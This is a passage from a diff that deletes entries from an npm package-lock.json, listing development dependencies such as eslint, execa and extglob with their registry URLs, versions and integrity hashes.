-          "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
-          "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
-          "dev": true,
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-data-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
-          "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
-          "dev": true,
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-descriptor": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
-          "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
-          "dev": true,
-          "requires": {
-            "is-accessor-descriptor": "^1.0.0",
-            "is-data-descriptor": "^1.0.0",
-            "kind-of": "^6.0.2"
-          }
-        },
-        "isobject": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-          "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
-          "dev": true
-        }
-      }
-    },
-    "delayed-stream": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
-      "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=",
-      "dev": true
-    },
-    "deprecation": {
-      "version": "2.3.1",
-      "resolved": "https://registry.npmjs.org/deprecation/-/deprecation-2.3.1.tgz",
-      "integrity": "sha512-xmHIy4F3scKVwMsQ4WnVaS8bHOx0DmVwRywosKhaILI0ywMDWPtBSku2HNxRvF7jtwDRsoEwYQSfbxj8b7RlJQ==",
-      "dev": true
-    },
-    "detect-newline": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz",
-      "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==",
-      "dev": true
-    },
-    "diff-sequences": {
-      "version": "26.0.0",
-      "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-26.0.0.tgz",
-      "integrity": "sha512-JC/eHYEC3aSS0vZGjuoc4vHA0yAQTzhQQldXMeMF+JlxLGJlCO38Gma82NV9gk1jGFz8mDzUMeaKXvjRRdJ2dg==",
-      "dev": true
-    },
-    "doctrine": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
-      "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
-      "dev": true,
-      "requires": {
-        "esutils": "^2.0.2"
-      }
-    },
-    "domexception": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/domexception/-/domexception-2.0.1.tgz",
-      "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==",
-      "dev": true,
-      "requires": {
-        "webidl-conversions": "^5.0.0"
-      },
-      "dependencies": {
-        "webidl-conversions": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz",
-          "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==",
-          "dev": true
-        }
-      }
-    },
-    "ecc-jsbn": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz",
-      "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=",
-      "dev": true,
-      "requires": {
-        "jsbn": "~0.1.0",
-        "safer-buffer": "^2.1.0"
-      }
-    },
-    "emoji-regex": {
-      "version": "8.0.0",
-      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
-      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
-      "dev": true
-    },
-    "end-of-stream": {
-      "version": "1.4.4",
-      "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
-      "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
-      "dev": true,
-      "requires": {
-        "once": "^1.4.0"
-      }
-    },
-    "error-ex": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
-      "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==",
-      "dev": true,
-      "requires": {
-        "is-arrayish": "^0.2.1"
-      }
-    },
-    "escape-string-regexp": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
-      "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=",
-      "dev": true
-    },
-    "escodegen": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.14.1.tgz",
-      "integrity": "sha512-Bmt7NcRySdIfNPfU2ZoXDrrXsG9ZjvDxcAlMfDUgRBjLOWTuIACXPBFJH7Z+cLb40JeQco5toikyc9t9P8E9SQ==",
-      "dev": true,
-      "requires": {
-        "esprima": "^4.0.1",
-        "estraverse": "^4.2.0",
-        "esutils": "^2.0.2",
-        "optionator": "^0.8.1",
-        "source-map": "~0.6.1"
-      }
-    },
-    "eslint": {
-      "version": "7.0.0",
-      "resolved": "https://registry.npmjs.org/eslint/-/eslint-7.0.0.tgz",
-      "integrity": "sha512-qY1cwdOxMONHJfGqw52UOpZDeqXy8xmD0u8CT6jIstil72jkhURC704W8CFyTPDPllz4z4lu0Ql1+07PG/XdIg==",
-      "dev": true,
-      "requires": {
-        "@babel/code-frame": "^7.0.0",
-        "ajv": "^6.10.0",
-        "chalk": "^4.0.0",
-        "cross-spawn": "^7.0.2",
-        "debug": "^4.0.1",
-        "doctrine": "^3.0.0",
-        "eslint-scope": "^5.0.0",
-        "eslint-utils": "^2.0.0",
-        "eslint-visitor-keys": "^1.1.0",
-        "espree": "^7.0.0",
-        "esquery": "^1.2.0",
-        "esutils": "^2.0.2",
-        "file-entry-cache": "^5.0.1",
-        "functional-red-black-tree": "^1.0.1",
-        "glob-parent": "^5.0.0",
-        "globals": "^12.1.0",
-        "ignore": "^4.0.6",
-        "import-fresh": "^3.0.0",
-        "imurmurhash": "^0.1.4",
-        "inquirer": "^7.0.0",
-        "is-glob": "^4.0.0",
-        "js-yaml": "^3.13.1",
-        "json-stable-stringify-without-jsonify": "^1.0.1",
-        "levn": "^0.4.1",
-        "lodash": "^4.17.14",
-        "minimatch": "^3.0.4",
-        "natural-compare": "^1.4.0",
-        "optionator": "^0.9.1",
-        "progress": "^2.0.0",
-        "regexpp": "^3.1.0",
-        "semver": "^7.2.1",
-        "strip-ansi": "^6.0.0",
-        "strip-json-comments": "^3.1.0",
-        "table": "^5.2.3",
-        "text-table": "^0.2.0",
-        "v8-compile-cache": "^2.0.3"
-      },
-      "dependencies": {
-        "cross-spawn": {
-          "version": "7.0.2",
-          "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.2.tgz",
-          "integrity": "sha512-PD6G8QG3S4FK/XCGFbEQrDqO2AnMMsy0meR7lerlIOHAAbkuavGU/pOqprrlvfTNjvowivTeBsjebAL0NSoMxw==",
-          "dev": true,
-          "requires": {
-            "path-key": "^3.1.0",
-            "shebang-command": "^2.0.0",
-            "which": "^2.0.1"
-          }
-        },
-        "globals": {
-          "version": "12.4.0",
-          "resolved": "https://registry.npmjs.org/globals/-/globals-12.4.0.tgz",
-          "integrity": "sha512-BWICuzzDvDoH54NHKCseDanAhE3CeDorgDL5MT6LMXXj2WCnd9UC2szdk4AWLfjdgNBCXLUanXYcpBBKOSWGwg==",
-          "dev": true,
-          "requires": {
-            "type-fest": "^0.8.1"
-          }
-        },
-        "levn": {
-          "version": "0.4.1",
-          "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
-          "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",
-          "dev": true,
-          "requires": {
-            "prelude-ls": "^1.2.1",
-            "type-check": "~0.4.0"
-          }
-        },
-        "optionator": {
-          "version": "0.9.1",
-          "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.1.tgz",
-          "integrity": "sha512-74RlY5FCnhq4jRxVUPKDaRwrVNXMqsGsiW6AJw4XK8hmtm10wC0ypZBLw5IIp85NZMr91+qd1RvvENwg7jjRFw==",
-          "dev": true,
-          "requires": {
-            "deep-is": "^0.1.3",
-            "fast-levenshtein": "^2.0.6",
-            "levn": "^0.4.1",
-            "prelude-ls": "^1.2.1",
-            "type-check": "^0.4.0",
-            "word-wrap": "^1.2.3"
-          }
-        },
-        "path-key": {
-          "version": "3.1.1",
-          "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
-          "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
-          "dev": true
-        },
-        "prelude-ls": {
-          "version": "1.2.1",
-          "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
-          "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==",
-          "dev": true
-        },
-        "semver": {
-          "version": "7.3.2",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz",
-          "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==",
-          "dev": true
-        },
-        "shebang-command": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
-          "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
-          "dev": true,
-          "requires": {
-            "shebang-regex": "^3.0.0"
-          }
-        },
-        "shebang-regex": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
-          "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
-          "dev": true
-        },
-        "type-check": {
-          "version": "0.4.0",
-          "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
-          "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==",
-          "dev": true,
-          "requires": {
-            "prelude-ls": "^1.2.1"
-          }
-        },
-        "which": {
-          "version": "2.0.2",
-          "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
-          "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
-          "dev": true,
-          "requires": {
-            "isexe": "^2.0.0"
-          }
-        }
-      }
-    },
-    "eslint-config-prettier": {
-      "version": "6.11.0",
-      "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-6.11.0.tgz",
-      "integrity": "sha512-oB8cpLWSAjOVFEJhhyMZh6NOEOtBVziaqdDQ86+qhDHFbZXoRTM7pNSvFRfW/W/L/LrQ38C99J5CGuRBBzBsdA==",
-      "dev": true,
-      "requires": {
-        "get-stdin": "^6.0.0"
-      }
-    },
-    "eslint-plugin-prettier": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-prettier/-/eslint-plugin-prettier-3.1.3.tgz",
-      "integrity": "sha512-+HG5jmu/dN3ZV3T6eCD7a4BlAySdN7mLIbJYo0z1cFQuI+r2DiTJEFeF68ots93PsnrMxbzIZ2S/ieX+mkrBeQ==",
-      "dev": true,
-      "requires": {
-        "prettier-linter-helpers": "^1.0.0"
-      }
-    },
-    "eslint-scope": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.0.0.tgz",
-      "integrity": "sha512-oYrhJW7S0bxAFDvWqzvMPRm6pcgcnWc4QnofCAqRTRfQC0JcwenzGglTtsLyIuuWFfkqDG9vz67cnttSd53djw==",
-      "dev": true,
-      "requires": {
-        "esrecurse": "^4.1.0",
-        "estraverse": "^4.1.1"
-      }
-    },
-    "eslint-utils": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-2.0.0.tgz",
-      "integrity": "sha512-0HCPuJv+7Wv1bACm8y5/ECVfYdfsAm9xmVb7saeFlxjPYALefjhbYoCkBjPdPzGH8wWyTpAez82Fh3VKYEZ8OA==",
-      "dev": true,
-      "requires": {
-        "eslint-visitor-keys": "^1.1.0"
-      }
-    },
-    "eslint-visitor-keys": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.1.0.tgz",
-      "integrity": "sha512-8y9YjtM1JBJU/A9Kc+SbaOV4y29sSWckBwMHa+FGtVj5gN/sbnKDf6xJUl+8g7FAij9LVaP8C24DUiH/f/2Z9A==",
-      "dev": true
-    },
-    "espree": {
-      "version": "7.0.0",
-      "resolved": "https://registry.npmjs.org/espree/-/espree-7.0.0.tgz",
-      "integrity": "sha512-/r2XEx5Mw4pgKdyb7GNLQNsu++asx/dltf/CI8RFi9oGHxmQFgvLbc5Op4U6i8Oaj+kdslhJtVlEZeAqH5qOTw==",
-      "dev": true,
-      "requires": {
-        "acorn": "^7.1.1",
-        "acorn-jsx": "^5.2.0",
-        "eslint-visitor-keys": "^1.1.0"
-      }
-    },
-    "esprima": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
-      "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
-      "dev": true
-    },
-    "esquery": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.3.1.tgz",
-      "integrity": "sha512-olpvt9QG0vniUBZspVRN6lwB7hOZoTRtT+jzR+tS4ffYx2mzbw+z0XCOk44aaLYKApNX5nMm+E+P6o25ip/DHQ==",
-      "dev": true,
-      "requires": {
-        "estraverse": "^5.1.0"
-      },
-      "dependencies": {
-        "estraverse": {
-          "version": "5.1.0",
-          "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.1.0.tgz",
-          "integrity": "sha512-FyohXK+R0vE+y1nHLoBM7ZTyqRpqAlhdZHCWIWEviFLiGB8b04H6bQs8G+XTthacvT8VuwvteiP7RJSxMs8UEw==",
-          "dev": true
-        }
-      }
-    },
-    "esrecurse": {
-      "version": "4.2.1",
-      "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.1.tgz",
-      "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==",
-      "dev": true,
-      "requires": {
-        "estraverse": "^4.1.0"
-      }
-    },
-    "estraverse": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
-      "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
-      "dev": true
-    },
-    "esutils": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
-      "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==",
-      "dev": true
-    },
-    "exec-sh": {
-      "version": "0.3.4",
-      "resolved": "https://registry.npmjs.org/exec-sh/-/exec-sh-0.3.4.tgz",
-      "integrity": "sha512-sEFIkc61v75sWeOe72qyrqg2Qg0OuLESziUDk/O/z2qgS15y2gWVFrI6f2Qn/qw/0/NCfCEsmNA4zOjkwEZT1A==",
-      "dev": true
-    },
-    "execa": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz",
-      "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==",
-      "dev": true,
-      "requires": {
-        "cross-spawn": "^6.0.0",
-        "get-stream": "^4.0.0",
-        "is-stream": "^1.1.0",
-        "npm-run-path": "^2.0.0",
-        "p-finally": "^1.0.0",
-        "signal-exit": "^3.0.0",
-        "strip-eof": "^1.0.0"
-      }
-    },
-    "exit": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz",
-      "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=",
-      "dev": true
-    },
-    "expand-brackets": {
-      "version": "2.1.4",
-      "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
-      "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=",
-      "dev": true,
-      "requires": {
-        "debug": "^2.3.3",
-        "define-property": "^0.2.5",
-        "extend-shallow": "^2.0.1",
-        "posix-character-classes": "^0.1.0",
-        "regex-not": "^1.0.0",
-        "snapdragon": "^0.8.1",
-        "to-regex": "^3.0.1"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "dev": true,
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "dev": true,
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        },
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "dev": true,
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=",
-          "dev": true
-        }
-      }
-    },
-    "expect": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/expect/-/expect-26.0.1.tgz",
-      "integrity": "sha512-QcCy4nygHeqmbw564YxNbHTJlXh47dVID2BUP52cZFpLU9zHViMFK6h07cC1wf7GYCTIigTdAXhVua8Yl1FkKg==",
-      "dev": true,
-      "requires": {
-        "@jest/types": "^26.0.1",
-        "ansi-styles": "^4.0.0",
-        "jest-get-type": "^26.0.0",
-        "jest-matcher-utils": "^26.0.1",
-        "jest-message-util": "^26.0.1",
-        "jest-regex-util": "^26.0.0"
-      }
-    },
-    "extend": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
-      "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==",
-      "dev": true
-    },
-    "extend-shallow": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
-      "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
-      "dev": true,
-      "requires": {
-        "assign-symbols": "^1.0.0",
-        "is-extendable": "^1.0.1"
-      },
-      "dependencies": {
-        "is-extendable": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
-          "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
-          "dev": true,
-          "requires": {
-            "is-plain-object": "^2.0.4"
-          }
-        },
-        "is-plain-object": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
-          "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
-          "dev": true,
-          "requires": {
-            "isobject": "^3.0.1"
-          }
-        },
-        "isobject": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-          "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
-          "dev": true
-        }
-      }
-    },
-    "external-editor": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz",
-      "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==",
-      "dev": true,
-      "requires": {
-        "chardet": "^0.7.0",
-        "iconv-lite": "^0.4.24",
-        "tmp": "^0.0.33"
-      }
-    },
-    "extglob": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz",
-      "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
-      "dev": true,
-      "requires": {
-        "array-unique": "^0.3.2",
-        "define-property": "^1.0.0",
-        "expand-brackets": "^2.1.4",
-        "extend-shallow": "^2.0.1",
-        "fragment-cache": "^0.2.1",
-        "regex-not": "^1.0.0",
-        "snapdragon": "^0.8.1",
-        "to-regex": "^3.0.1"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
-          "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
-          "dev": true,
-          "requires": {
-            "is-descriptor": "^1.0.0"
-          }
-        },
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "dev": true,
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        },
-        "is-accessor-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
-          "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
-          "dev": true,
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-data-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
-          "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
-          "dev": true,
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-descriptor": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
-          "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
-          "dev": true,
-          "requires": {
-            "is-accessor-descriptor": "^1.0.0",
-            "is-data-descriptor": "^1.0.0",
-            "kind-of": "^6.0.2"
-          }
-        }
-      }
-    },
-    "extsprintf": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz",
-      "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=",
-      "dev": true
-    },
-    "fast-deep-equal": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.1.tgz",
-      "integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA==",
-      "dev": true
-    },
-    "fast-diff": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/fast-diff/-/fast-diff-1.2.0.tgz",
-      "integrity": "sha512-xJuoT5+L99XlZ8twedaRf6Ax2TgQVxvgZOYoPKqZufmJib0tL2tegPBOZb1pVNgIhlqDlA0eO0c3wBvQcmzx4w==",
-      "dev": true
-    },
-    "fast-json-stable-stringify": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
-      "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==",
-      "dev": true
-    },
-    "fast-levenshtein": {
-      "version": "2.0.6",
-      "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
-      "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=",
-      "dev": true
-    },
-    "fb-watchman": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.1.tgz",
-      "integrity": "sha512-DkPJKQeY6kKwmuMretBhr7G6Vodr7bFwDYTXIkfG1gjvNpaxBTQV3PbXg6bR1c1UP4jPOX0jHUbbHANL9vRjVg==",
-      "dev": true,
-      "requires": {
-        "bser": "2.1.1"
-      }
-    },
-    "figures": {
-      "version": "3.2.0",
-      "resolved": "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz",
-      "integrity": "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==",
-      "dev": true,
-      "requires": {
-        "escape-string-regexp": "^1.0.5"
-      }
-    },
-    "file-entry-cache": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-5.0.1.tgz",
-      "integrity": "sha512-bCg29ictuBaKUwwArK4ouCaqDgLZcysCFLmM/Yn/FDoqndh/9vNuQfXRDvTuXKLxfD/JtZQGKFT8MGcJBK644g==",
-      "dev": true,
-      "requires": {
-        "flat-cache": "^2.0.1"
-      }
-    },
-    "fill-range": {
-      "version": "7.0.1",
-      "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
-      "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
-      "dev": true,
-      "requires": {
-        "to-regex-range": "^5.0.1"
-      }
-    },
-    "find-up": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
-      "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
-      "dev": true,
-      "requires": {
-        "locate-path": "^5.0.0",
-        "path-exists": "^4.0.0"
-      }
-    },
-    "flat-cache": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-2.0.1.tgz",
